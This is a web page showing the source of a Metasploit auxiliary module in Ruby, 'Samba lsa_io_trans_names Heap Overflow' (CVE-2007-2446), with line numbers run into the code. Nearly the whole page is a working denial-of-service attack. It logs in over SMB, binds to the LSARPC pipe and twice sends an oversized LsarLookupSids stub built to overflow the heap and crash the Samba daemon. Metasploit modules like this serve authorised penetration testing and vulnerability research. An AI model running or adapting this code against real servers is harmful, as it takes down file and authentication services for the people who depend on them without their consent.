Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/samba/lsa_transnames_heap.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC7include Msf::Exploit::Remote::SMB::Client8include Msf::Auxiliary::Dos910def initialize(info = {})11super(update_info(info,12'Name' => 'Samba lsa_io_trans_names Heap Overflow',13'Description' => %q{14This module triggers a heap overflow in the LSA RPC service15of the Samba daemon.16},17'Author' => [ 'hdm' ],18'License' => MSF_LICENSE,19'References' =>20[21['CVE', '2007-2446'],22['OSVDB', '34699'],23]24))2526register_options(27[28OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),29])3031end3233def run3435pipe = datastore['SMBPIPE'].downcase3637print_status("Connecting to the SMB service...")38connect()39smb_login()4041datastore['DCERPC::fake_bind_multi'] = false4243handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])44print_status("Binding to #{handle} ...")45dcerpc_bind(handle)46print_status("Bound to #{handle} ...")4748stub = lsa_open_policy(dcerpc)49stub << NDR.long(0)50stub << NDR.long(0)51stub << NDR.long(1)52stub << NDR.long(0x20004)53stub << NDR.long(0x100)54stub << ("X" * 16) * 0x10055stub << NDR.long(1)56stub << NDR.long(0)5758print_status("Calling the vulnerable function...")5960begin61# LsarLookupSids62dcerpc.call(0x0f, stub)63rescue Rex::Proto::DCERPC::Exceptions::NoResponse, ::EOFError64print_good('Server did not respond, this is expected')65rescue => e66if e.to_s =~ /STATUS_PIPE_DISCONNECTED/67print_good('Server disconnected, this is expected')68else69raise e70end71end7273dcerpc.call(0x0f, stub)7475disconnect76end77end787980